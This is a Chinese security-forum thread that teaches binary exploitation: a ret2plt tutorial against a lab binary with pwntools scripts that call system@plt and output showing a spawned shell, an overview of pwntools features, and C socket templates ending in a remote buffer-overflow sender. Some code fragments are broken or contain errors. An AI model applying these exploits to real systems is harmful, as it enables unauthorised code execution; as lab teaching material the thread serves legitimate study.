为了处理动态加载对象中的函数,编译器会分配一个空间来将指针列表存储在二进制文件中。要填充的每个指针槽称为“重新定位”条目。内存的这个区域被标记为可读,以允许在运行时更改条目的值。
我们可以看看带readelf的时钟二进制文件的“.got”段。
  1. ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ readelf --relocs 1_clock

  2. Relocation section '.rel.dyn' at offset 0x2dc contains 1 entries:
  3. Offset     Info    Type            Sym.Value  Sym. Name
  4. 08049ffc  00000506 R_386_GLOB_DAT    00000000   __gmon_start__

  5. Relocation section '.rel.plt' at offset 0x2e4 contains 5 entries:
  6. Offset     Info    Type            Sym.Value  Sym. Name
  7. 0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
  8. 0804a010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
  9. 0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
  10. 0804a018  00000407 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
  11. 0804a01c  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
复制代码

以GOT中的read条目为例。如果我们跳到gdb上,在调试器中打开二进制文件而不运行它,我们可以检查GOT中最开始的内容。
  1. <pre style="box-sizing: border-box; font-family: SFMono-Regular, Consolas, &quot;Liberation Mono&quot;, Menlo, monospace; font-size: 13.6px; overflow-wrap: normal; padding: 16px; overflow: auto; line-height: 1.45; background-color: rgb(27, 28, 30); border-radius: 3px; word-break: normal; color: rgb(216, 214, 208); --darkreader-inline-bgcolor:#1b1d1e; --darkreader-inline-color:#d8d5d0;" data-darkreader-inline-bgcolor="" data-darkreader-inline-color="">gdb-peda$ x/xw 0x0804a00c
  2. 0x804a00c:  0x08048346</pre>
复制代码

实际上,这个值是过程链接表中的一个地址。这实际上是执行延迟绑定的机制的一部分。延迟绑定允许二进制文件仅在需要o时解析其动态地址。
如果在程序结束前运行它并中断,我们可以看到GOT中的值完全不同,现在指向libc中的某个位置。
  1. gdb-peda$ x/xw 0x0804a00c
  2. 0x804a00c:        0x08048346
  3. ... snip ...
  4. gdb-peda$ x/xw 0x0804a00c
  5. 0x804a00c:        0xf7eea980
  6. gdb-peda$
复制代码


过程链接表PLT
在代码中使用libc函数时,编译器不会直接调用该函数,而是调用PLT存根。让我们看看PLT中read函数的反汇编。
  1. gdb-peda$ disas read
  2. Dump of assembler code for function read@plt:
  3.    0x08048340 <+0>:        jmp    DWORD PTR ds:0x804a00c
  4.    0x08048346 <+6>:        push   0x0
  5.    0x0804834b <+11>:        jmp    0x8048330
  6. End of assembler dump.
  7. gdb-peda$
复制代码

下面是函数首次运行时的情况:
  • 调用read@plt函数。
  • 执行到达jmp DWORD PTR ds:0x804a00c,内存地址0x804a00c被解引用并跳转到。如果这个值看起来很熟悉,那就是。它是read的GOT条目的地址。
  • 因为GOT最初包含值0x08048346,所以执行会跳到read@plt函数的下一条指令,因为它指向的是下一条指令。
  • 调用动态加载程序,它用解析的地址覆盖GOT。
  • 在解析的地址继续执行。
这些细节对于下一节很重要,但是现在,PLT存根的关键特性是它是二进制文件的一部分,并且将被映射到一个静态地址。因此,我们可以在构建攻击时使用存根作为目标。
编写exploit
通常,这里是获取二进制文件的EIP控制的框架代码。
  1. #!/usr/bin/python

  2. from pwn import *

  3. def main():
  4.     # Start the process
  5.     p = process("../build/1_clock")

  6.     # Print the pid
  7.     raw_input(str(p.proc.pid))

  8.     # Craft the payload
  9.     payload = "A"*76 + p32(0xdeadc0de)
  10.     payload = payload.ljust(96, "\x00")

  11.     # Send the payload
  12.     p.send(payload)

  13.     # Pass interaction to the user
  14.     p.interactive()

  15. if __name__ == "__main__":
  16.     main()
复制代码

让我们看看可供选择的PLT存根。
  1. ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ objdump -d ./1_clock -j .plt

  2. ./1_clock:     file format elf32-i386


  3. Disassembly of section .plt:

  4. 08048330 <read@plt-0x10>:
  5. 8048330:        ff 35 04 a0 04 08            pushl  0x804a004
  6. 8048336:        ff 25 08 a0 04 08            jmp    *0x804a008
  7. 804833c:        00 00                        add    %al,(%eax)
  8.         ...

  9. 08048340 <read@plt>:
  10. 8048340:        ff 25 0c a0 04 08            jmp    *0x804a00c
  11. 8048346:        68 00 00 00 00               push   $0x0
  12. 804834b:        e9 e0 ff ff ff               jmp    8048330 <_init+0x24>

  13. 08048350 <printf@plt>:
  14. 8048350:        ff 25 10 a0 04 08            jmp    *0x804a010
  15. 8048356:        68 08 00 00 00               push   $0x8
  16. 804835b:        e9 d0 ff ff ff               jmp    8048330 <_init+0x24>

  17. 08048360 <puts@plt>:
  18. 8048360:        ff 25 14 a0 04 08            jmp    *0x804a014
  19. 8048366:        68 10 00 00 00               push   $0x10
  20. 804836b:        e9 c0 ff ff ff               jmp    8048330 <_init+0x24>

  21. 08048370 <system@plt>:
  22. 8048370:        ff 25 18 a0 04 08            jmp    *0x804a018
  23. 8048376:        68 18 00 00 00               push   $0x18
  24. 804837b:        e9 b0 ff ff ff               jmp    8048330 <_init+0x24>

  25. 08048380 <__libc_start_main@plt>:
  26. 8048380:        ff 25 1c a0 04 08            jmp    *0x804a01c
  27. 8048386:        68 20 00 00 00               push   $0x20
  28. 804838b:        e9 a0 ff ff ff               jmp    8048330 <_init+0x24>
复制代码

我们很幸运,因为system@plt是我们绝对可以使用的强大功能。这是我们需要的两件事中的一件。第二件事是我们可以执行的命令。通常,我们会使用“/bin/sh”,但这里似乎找不到。
花点时间找出目标,然后再看答案。
原来ed是一个有效的Linux命令。它实际上催生了一个极简主义的编辑器。结果还发现二进制文件中有一个可用的“ed”字符串。你能找到它吗?


  1. ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ strings -a 1_clock
  2. /lib/ld-linux.so.2
  3. libc.so.6
  4. _IO_stdin_used
  5. puts
  6. printf
  7. read
  8. system
  9. __libc_start_main
  10. __gmon_start__
  11. GLIBC_2.0
  12. PTRh
  13. UWVS
  14. t$,U
  15. [^_]
  16. date
  17. Your name is %s
  18. Welcome to the Matrix.
  19. The sheep are blue, but you see red
  20. Time is very important to us.
复制代码


如果我们取字符串的最后两个字符“the sheep are blue,but you see red”或“_IO_stdin_used”,就可以得到我们要找的“ed”。

  1. gdb-peda$ find "The sheep are blue, but you see red"
  2. Searching for 'The sheep are blue, but you see red' in: None ranges
  3. Found 3 results, display max 3 items:
  4. 1_clock : 0x8048604 ("The sheep are blue, but you see red")
  5. 1_clock : 0x8049604 ("The sheep are blue, but you see red")
  6. [heap] : 0x804b008 ("The sheep are blue, but you see red\n")
  7. gdb-peda$
复制代码
把这些部分放在一起,我们就能得出最后的EXP。

  1. from pwn import *

  2. system_plt = 0x08048370
  3. ed_str = 0x8048625

  4. def main():
  5.     # Start the process
  6.     p = process("../build/1_clock")

  7.     # Craft the payload
  8.     payload = "A"*76
  9.     payload += p32(system_plt)
  10.     payload += p32(0xdeadbeef)
  11.     payload += p32(ed_str)
  12.     payload = payload.ljust(96, "\x00")

  13.     # Send the payload
  14.     p.send(payload)

  15.     # Pass interaction to the user
  16.     p.interactive()

  17. if __name__ == "__main__":
  18.     main()
复制代码
但是,现在您可能会问,如果我们要生成的只是一个基于行的文本编辑器,那么我们如何获得shell呢?碰巧,ed程序可以执行命令!

  1. ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/scripts$ python 2_final.py
  2. [+] Starting local process '../build/1_clock': Done
  3. [*] Switching to interactive mode
  4. Welcome to the Matrix.
  5. The sheep are blue, but you see red
  6. Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\x83\x0ᆳ�%\x86\x0
  7. $ ls -la
  8. ?
  9. $ !/bin/sh
  10. $ ls -la
  11. total 2100
  12. drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 15:56 .
  13. drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 15:56 ..
  14. -rw-rw-r-- 1 ubuntu ubuntu     405 Jan 12 21:54 1_skeleton.py
  15. -rw-rw-r-- 1 ubuntu ubuntu     468 Jan 12 21:57 2_final.py
  16. -rw-rw-r-- 1 ubuntu ubuntu     408 Jan 12 22:41 3_event0_skeleton.py
  17. -rw-rw-r-- 1 ubuntu ubuntu     483 Jan 12 22:52 4_event0_local.py
  18. -rw-rw-r-- 1 ubuntu ubuntu     518 Jan 12 22:52 5_event0_remote.py
  19. -rw------- 1 ubuntu ubuntu 2121728 Jan 13 15:56 core
  20. $
  21. [*] Stopped program '../build/1_clock'
复制代码



回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-4-6 03:50:57 | 显示全部楼层
本帖最后由 ethereel 于 2020-4-6 03:58 编辑

pwntools


PwnTools的官网:http ://pwntools.com/
安装方法是使用pip命令,pip install pwn。这样就可以安装上pwn库了。使用时用from pwn import *来进行调用。


1.连接
对于远程函数可以接URL和指定端口。


2.IO模块
下面比较了PwnTools中的主要IO函数。
  1. <pre style=""><font color="#000000" face="Courier New"><span style="font-size: 12px; white-space: pre-wrap;">send(data) : 发送数据
  2. sendline(data) : 发送一行数据,相当于在末尾加\n

  3. recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
  4. recvuntil(delims, drop=False) : 接收到delims的pattern
  5. (以下可以看作until的特例)
  6. recvline(keepends=True) : 接收到\n,keepends指定保留\n
  7. recvall() : 接收到EOF
  8. recvrepeat(timeout=default) : 接收到EOF或timeout

  9. interactive() : 与shell交互</span></font></pre>
复制代码

3.ELF模块
ELF模块用于获取ELF文件的信息,首先使用ELF()获取该文件的句柄,然后使用该句柄调用函数,和IO模块很相似。
下面演示了:获取基地址,获取函数地址(基于符号),获取函数got地址,获取函数plt地址
  1. <blockquote>>>> e = ELF('/bin/cat')
复制代码

4.数据处理
主要是对整体进行打包,就是转换成二进制的形式,某些转换成地址。p32,p64是打包,u32,u64是解包。
此外,还可以将内存地址从大的Endian打包到小的Endian。
pwntools可以做64位封装地打印数据的大的Endian和小的Endian。
  1. # Import pwntools
  2. from pwn import *
  3. # Create some variable with an address
  4. addr = 0xabcdef12
  5. # 32-bit: Big Endian
  6. p32(addr, endian="big"
  7. # 32-bit: Little Endian
  8. p32(addr, endian="big"
  9. # 32-bit: Default is Little Endian
  10. p32(addr)
  11. # 64-bit: Big Endian
  12. p64(addr, endian="big")
  13. # 64-bit: Little Endian
  14. p64(addr, endian="small")
  15. # 64-bit: Default is Little Endian
  16. p64(addr)
复制代码

5.DynELF
DynELF是泄漏信息的神器。适当的条件是要提供一个输入地址,输出此地址减少1字节数的函数。官网表示的说明是:给出了一个可以在任意地址泄漏数据的函数,任何加载的库中的任何符号可以解决。
即给定一个可以在任意地址泄漏数据的函数,可以解析任何加载库中的任何符号。
以下是官方例程
  1. <blockquote># Assume a process or remote connection
复制代码


6.监听器
pwntools还可以通过编程方式设置侦听器(Netcat-LVP 1234)。在黑客攻击中,用不同的工具尝试相同的东西,经常会产生截然不同的结果。
下面是创建一个监听器。
  1. <blockquote># Import pwntools
复制代码


7.ROP链生成器
回顾一下ROP的原理:通过NX开启不能在栈上执行shellcode,我们可以在栈上布置框架的返回地址与参数,这样可以进行多次的函数调用,通过函数尾部的ret语句控制程序的流程,而用程序中的一些pop / ret的代码块(称为gadget)来平衡的副本。其完成的事情就是放上/ bin / sh,覆盖程序中某个函数的GOT为system的,然后ret到那个由于是利用ret指令的利用,所以要进行面向返回的编程。(如果没有开启ASLR,可以直接使用ret2libc技术)。
这种技术的难点是在栈上布置返回地址以及函数参数了。而ROP模块的作用,就是自动地寻找程序里的小工具,自动在栈上部署对应的参数。
  1. <blockquote>elf = ELF('ropasaurusrex')
复制代码
使用ROP(elf)来产生一个rop的对象,这时rop链还是空的,需要在其中添加函数。
因为ROP对象实现了__getattr__的功能,可以直接通过func call的形式来添加函数,rop.read(0,elf.bss(0x80))实际相当于rop.call('read',(0,elf .bss(0x80)))。通过多次添加函数调用,最后使用str将整个作物链转储。
  • call(resolvable,arguments =()):添加一个调用,resolvable可以是一个符号,也可以是一个int型地址,注意后面的参数必须是元组否则会报错,甚至只有一个参数也要写成元组的形式(在后面加上一个逗号)
  • chain():返回当前的字节序列,即有效载荷
  • dump():直观地展示出当前的作物链
  • raw():在作物链中加上一个整数或字符串
  • search(move = 0,regs = None,order ='size'):按特定条件搜索gadget,没仔细研究过
  • unresolve(value):表示一个地址,反解析出符号

回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-4-12 15:26:49 | 显示全部楼层
远程溢出socket编程基础
0x00 linux c socket常用函数

(1) struct sockaddr(套接字的普通C定义通用的地址结构)
struct sockaddr {
u_char sa_len;//长度
u_short sa_family;//协议
char sa_data[14];//数据
};
(2) struct sockaddr_in(IP专用的地址结构)
struct sockaddr_in {
u_char sin_len;//长度
u_short sin_family;//协议
u_short sin_port;//端口
struct in_addr sin_addr;//ip地址
char sin_zero[8];//数据
};
(3) struct in_addr
struct in_addr {
u_long s_addr;
};
用来表示一个32位的IPv4地址,其字节顺序为网络顺序。
(4) int Socket( int domain, int type, int protocol)
功能:创建一个新的套接字,返回套接字描述符
参数说明:
domain:域类型,指明使用的协议栈,如TCP/IP使用的是 PF_INET ,其他还有AF_INET6、AF_UNIX
type: 指明需要的服务类型, 如
SOCK_DGRAM: 数据报服务,UDP协议
SOCK_STREAM: 流服务,TCP协议
protocol:一般都取0(由系统根据服务类型选择默认的协议)
(5) int bind(int sockfd,struct sockaddr * my_addr,int addrlen)
功能:为套接字指明一个本地端点地址
TCP/IP协议使用sockaddr_in结构,包含IP地址和端口号,服务器使用它来指明熟知的端口号,然后等待连接
参数说明:
sockfd:套接字描述符,指明创建连接的套接字
my_addr:本地地址,IP地址和端口号
addrlen :地址长度
套接口中port=0表示由内核指定端口号,设定sin_addr为INADDR_ANY,由内核指定IP地址。
(6) int listen(int sockfd,int input_queue_size)
功能:
面向连接的套接字使用它将一个套接字置为被动模式,并准备接收传入连接。用于服务器,指明某个套接字连接是被动的
参数说明:
Sockfd:套接字描述符,指明创建连接的套接字
input_queue_size:该套接字使用的队列长度,指定在请求队列中允许的最大请求数
(7) int accept(int sockfd, struct sockaddr *addr, int *addrlen)
功能:获取传入连接请求,返回新的连接的套接字描述符。
为每个新的连接请求创建了一个新的套接字,服务器只对新的连接使用该套接字,原来的监听套接字接收其他的连接请求。新的连接上传输数据使用新的套接字,使用完毕,服务器将关闭这个套接字。
参数说明:
Sockfd:套接字描述符,指明正在监听的套接字
addr:提出连接请求的主机地址
addrlen:地址长度
(8) int connect(int sockfd,struct sockaddr *server_addr,int sockaddr_len)
功能: 同远程服务器建立主动连接,成功时返回0,若连接失败返回-1。
参数说明:
Sockfd:套接字描述符,指明创建连接的套接字
Server_addr:指明远程端点:IP地址和端口号
sockaddr_len :地址长度
(9) int send(int sockfd, const void * data, int data_len, unsigned int flags)
功能:
在TCP连接上发送数据,返回成功传送数据的长度,出错时返回-1。send会将外发数据复制到OS内核中,也可以使用send发送面向连接的UDP报文。
参数说明:
sockfd:套接字描述符
data:指向要发送数据的指针
data_len:数据长度
flags:通常为0
如果send()函数的返回值小于len的话,则你需要再次发送剩下的数据。802.3,MTU为1492B,如果包小于1K,那么send()一般都会一次发送光的。
(10) int recv(int sockfd, void *buf, int buf_len,unsigned int flags)
功能:
从TCP接收数据,返回实际接收的数据长度,出错时返回-1。
服务器使用其接收客户请求,客户使用它接受服务器的应答。如果没有数据,将阻塞。如果TCP收到的数据大于(/小于)缓存的大小,只抽出能够填满缓存的足够数据(/抽出所有数据并返回它实际接收的字节数)。也可以使用recv接收面向连接的UDP的报文,若缓存不能装下整个报文,填满缓存后剩下的数据将被丢弃。
参数说明:
Sockfd:套接字描述符
Buf:指向内存块的指针
Buf_len:内存块大小,以字节为单位
flags:一般为0(MSG_WAITALL接收到指定长度数据时才返回),设置为 MSG_DONTWAIT为非阻塞
(11) close(int sockfd)
功能:
撤销套接字.如果只有一个进程使用,立即终止连接并撤销该套接字,如果多个进程共享该套接字,将引用数减一,如果引用数降到零,则关闭连接并撤销套接字。
参数说明:
sockfd:套接字描述符

0x01 基于TCP/IP和UDP协议的socket编程结构解析
参考:https://blog.csdn.net/zhengnice/article/details/51428080
0x02 linux下c语言基于tcp/ip的socket简单连接模板
服务器端:socket_server_tcp.c
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <arpa/inet.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <netinet/ip.h>

  8. #define PORT 23                //端口号
  9. #define BACKLOG 5        //最大监听数

  10. int main()
  11. {
  12.         int iSocketFD = 0;  //socket句柄
  13.         int iRecvLen = 0;   //接收成功后的返回值
  14.         int new_fd = 0;         //建立连接后的句柄
  15.         char buf[4096] = {0}; //
  16.         struct sockaddr_in stLocalAddr = {0}; //本地地址信息结构图,下面有具体的属性赋值
  17.         struct sockaddr_in stRemoteAddr = {0}; //对方地址信息
  18.         socklen_t socklen = 0;         

  19.         iSocketFD = socket(AF_INET, SOCK_STREAM, 0); //建立socket
  20.         if(0 > iSocketFD)
  21.         {
  22.                 printf("创建socket失败!\n");
  23.                 return 0;
  24.         }        

  25.         stLocalAddr.sin_family = AF_INET;  /*该属性表示接收本机或其他机器传输*/
  26.         stLocalAddr.sin_port = htons(PORT); /*端口号*/
  27.         stLocalAddr.sin_addr.s_addr=htonl(INADDR_ANY); /*IP,括号内容表示本机IP*/

  28.         //绑定地址结构体和socket
  29.         if(0 > bind(iSocketFD, (void *)&stLocalAddr, sizeof(stLocalAddr)))
  30.         {
  31.                 printf("绑定失败!\n");
  32.                 return 0;
  33.         }

  34.         //开启监听 ,第二个参数是最大监听数
  35.         if(0 > listen(iSocketFD, BACKLOG))
  36.         {
  37.                 printf("监听失败!\n");
  38.                 return 0;
  39.         }

  40.         printf("iSocketFD: %d\n", iSocketFD);        
  41.         //在这里阻塞知道接收到消息,参数分别是socket句柄,接收到的地址信息以及大小
  42.         new_fd = accept(iSocketFD, (void *)&stRemoteAddr, &socklen);
  43.         if(0 > new_fd)
  44.         {
  45.                 printf("接收失败!\n");
  46.                 return 0;
  47.         }else{
  48.                 printf("接收成功!\n");
  49.                 //发送内容,参数分别是连接句柄,内容,大小,其他信息(设为0即可)
  50.                 send(new_fd, "这是服务器接收成功后发回的信息!", sizeof("这是服务器接收成功后发回的信息!"), 0);
  51.         }

  52.         printf("new_fd: %d\n", new_fd);        
  53.         iRecvLen = recv(new_fd, buf, sizeof(buf), 0);        
  54.         if(0 >= iRecvLen)    //对端关闭连接 返回0
  55.         {        
  56.                 printf("接收失败或者对端关闭连接!\n");
  57.         }else{
  58.                 printf("buf: %s\n", buf);
  59.         }

  60.         close(new_fd);
  61.         close(iSocketFD);

  62.         return 0;
  63. }
复制代码


客户端:
socket_client_tcp.c
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <arpa/inet.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <netinet/ip.h>

  8. #define PORT 23                        //目标地址端口号
  9. #define ADDR "192.168.1.105" //目标地址IP

  10. int main()
  11. {
  12.         int iSocketFD = 0; //socket句柄
  13.         unsigned int iRemoteAddr = 0;
  14.         struct sockaddr_in stRemoteAddr = {0}; //对端,即目标地址信息
  15.         socklen_t socklen = 0;         
  16.         char buf[4096] = {0}; //存储接收到的数据

  17.         iSocketFD = socket(AF_INET, SOCK_STREAM, 0); //建立socket
  18.         if(0 > iSocketFD)
  19.         {
  20.                 printf("创建socket失败!\n");
  21.                 return 0;
  22.         }        

  23.         stRemoteAddr.sin_family = AF_INET;
  24.         stRemoteAddr.sin_port = htons(PORT);
  25.         inet_pton(AF_INET, ADDR, &iRemoteAddr);
  26.         stRemoteAddr.sin_addr.s_addr=iRemoteAddr;
  27.         
  28.         //连接方法: 传入句柄,目标地址,和大小
  29.         if(0 > connect(iSocketFD, (void *)&stRemoteAddr, sizeof(stRemoteAddr)))
  30.         {
  31.                 printf("连接失败!\n");
  32.                 //printf("connect failed:%d",errno);//失败时也可打印errno
  33.         }else{
  34.                 printf("连接成功!\n");
  35.                 recv(iSocketFD, buf, sizeof(buf), 0); ////将接收数据打入buf,参数分别是句柄,储存处,最大长度,其他信息(设为0即可)。
  36.                 printf("Received:%s\n", buf);
  37.         }
  38.         
  39.         close(iSocketFD);//关闭socket        
  40.         return 0;
  41. }
复制代码


编译:
  1. gcc socket_server_tcp.c -o socket_server_tcp
  2. gcc socket_client_tcp.c -o socket_server_tcp
复制代码


监听:
  1. ./socket_server_tcp
复制代码


执行:
  1. ./socket_server_tcp
复制代码


iSocketFD: 3
接收成功!
new_fd: 4
接收失败或者对端关闭连接!
./socket_client_tcp
连接成功!
Received:这是服务器接收成功后发回的信息!

0x03 linux下c语言基于udp的socket简单连接模板
服务器端:socket_server_UDP.c
  1. <div yne-bulb-block="code" id="8828-1586673753476" data-theme="default" data-language="javascript">#include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5. #include <netinet/ip.h>
  6. #include <pthread.h>

  7. void * test(void *pvData)
  8. {
  9.         while(1)
  10.         {
  11.                 sleep(10);
  12.                 printf("################################\n");
  13.         }
  14.         return NULL;
  15. }

  16. int main(void)
  17. {
  18.         pthread_t stPid = 0;
  19.         int iRecvLen = 0;
  20.         int iSocketFD = 0;
  21.         char acBuf[4096] = {0};
  22.         struct sockaddr_in stLocalAddr = {0};

  23.         struct sockaddr_in stRemoteAddr = {0};
  24.         socklen_t iRemoteAddrLen = 0;

  25.         /* 创建socket */
  26.         iSocketFD = socket(AF_INET, SOCK_DGRAM, 0);
  27.         if(iSocketFD < 0)
  28.         {
  29.                 printf("创建socket失败!\n");
  30.                 return 0;
  31.         }

  32.         /* 填写地址 */
  33.         stLocalAddr.sin_family = AF_INET;
  34.         stLocalAddr.sin_port   = htons(12345);
  35.         stLocalAddr.sin_addr.s_addr = 0;

  36.         /* 绑定地址 */
  37.         if(0 > bind(iSocketFD, (void *)&stLocalAddr, sizeof(stLocalAddr)))
  38.         {
  39.                 printf("绑定地址失败!\n");
  40.                 close(iSocketFD);
  41.                 return 0;
  42.         }
  43.         pthread_create(&stPid, NULL, test, NULL);   //实现了多线程
  44.         
  45.         while(1)     //实现了循环监听
  46.         {
  47.                 iRecvLen = recvfrom(iSocketFD, acBuf, sizeof(acBuf), 0, (void *)&stRemoteAddr, &iRemoteAddrLen);

  48.                 printf("iRecvLen: %d\n", iRecvLen);
  49.                 printf("acBuf:%s\n", acBuf);
  50.         }
  51.         close(iSocketFD);

  52.         return 0;
  53. }
  54. </div><div yne-bulb-block="paragraph" style="line-height: 1.75;">
  55. </div>
复制代码
客户端:socket_client_UDP.c

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <netinet/ip.h>
  7. #include <arpa/inet.h>

  8. int main(void)
  9. {
  10.         int iRecvLen = 0;
  11.         int iSocketFD = 0;
  12.         int iRemotAddr = 0;
  13.         char acBuf[4096] = {0};
  14.         struct sockaddr_in stLocalAddr = {0};

  15.         struct sockaddr_in stRemoteAddr = {0};
  16.         socklen_t iRemoteAddrLen = 0;

  17.         /* 创建socket */
  18.         iSocketFD = socket(AF_INET, SOCK_DGRAM, 0);
  19.         if(iSocketFD < 0)
  20.         {
  21.                 printf("创建socket失败!\n");
  22.                 return 0;
  23.         }

  24.         /* 填写服务端地址 */
  25.         stLocalAddr.sin_family = AF_INET;
  26.         stLocalAddr.sin_port   = htons(12345);
  27.         inet_pton(AF_INET, "192.168.1.105", (void *)&iRemotAddr);
  28.         stLocalAddr.sin_addr.s_addr = iRemotAddr;

  29.         iRecvLen = sendto(iSocketFD, "这是一个测试字符串", strlen("这是一个测试字符串"), 0, (void *)&stLocalAddr, sizeof(stLocalAddr));


  30.         close(iSocketFD);

  31.         return 0;
  32. }
复制代码



1.编译
  1. gcc socket_server_UDP.c -pthread -g -o socket_server_UDP
  2. gcc socket_client_UDP.c -o socket_client_UDP
复制代码


2.执行:
  1. ./socket_server_UDP
  2. ./socket_client_UDP
复制代码


结果:服务器端每隔10秒钟打印一排#号

0x04 一个使用socket的远程溢出程序样例
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/socket.h>
  5. #include <sys/types.h>
  6. #include <netinet/in.h>
  7. #include <netdb.h>

  8. /*
  9. 定义远程端口和要发送的数据
  10. */
  11. #define REMPORT      7500
  12. #define A            0x41

  13. //开始主程序
  14. int main(int argc,char **argv)
  15. {

  16. /* 声明变量 */
  17. int conn; //连接变量
  18. int fd; // 套接字文件描述符

  19. struct sockaddr_in remaddr;

  20. //声明我们的有效负载缓冲区,它将保存272字节的数据
  21. char payload[272];

  22. /*
  23. 检查是否给出了第一个命令行参数(ip地址)
  24. 如果不打印消息并退出
  25. */

  26. if(!argv[1])
  27. {

  28. printf("请输入ip..\n");

  29. exit(1);
  30. }

  31. /*
  32. 创建套接字并在创建时检查错误
  33. 如果检测到错误,socket()将返回-1
  34. */
  35. if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1)
  36. {

  37. perror("socket");

  38. exit(1);

  39. }

  40. //载荷发送部分开始,可替换
  41. /*
  42. 4 x 0x42(BBBB->0x42在其ascii格式中为B)
  43. */

  44. char *eip = "\x42\x42\x42\x42";
  45. /*
  46. 用268字节的A(以前定义为0x41)填充有效payload
  47. */

  48. memset(payload,A,268);

  49. /* 用eip(BBBB-0x424242)填充268字节后的部分*/

  50. memcpy(payload+268,eip,sizeof(eip));

  51. /* 连接信息 */
  52. remaddr.sin_family = AF_INET; //域名
  53. remaddr.sin_addr.s_addr = inet_addr(argv[1]); //IP
  54. remaddr.sin_port = htons(REMPORT); //远程端口

  55. /* this is where the actual connection take's place */

  56. conn = connect(fd, (struct sockaddr_in *)&remaddr,sizeof(remaddr));

  57. /* 检查连接是否有错误,因为它在错误时返回-1 */
  58. if(conn < 0)
  59. {

  60. printf("错误!连接失败。\n");
  61. exit(1);
  62. }
  63. /* 有效payload被发送*/
  64. send(fd,payload,strlen(payload),0);

  65. /* 发送有效payload后显示 */
  66. printf("载荷大小: %i\n",sizeof(payload));
  67. printf("载荷已发送..\n");

  68. }
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 21:48 , Processed in 0.032689 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表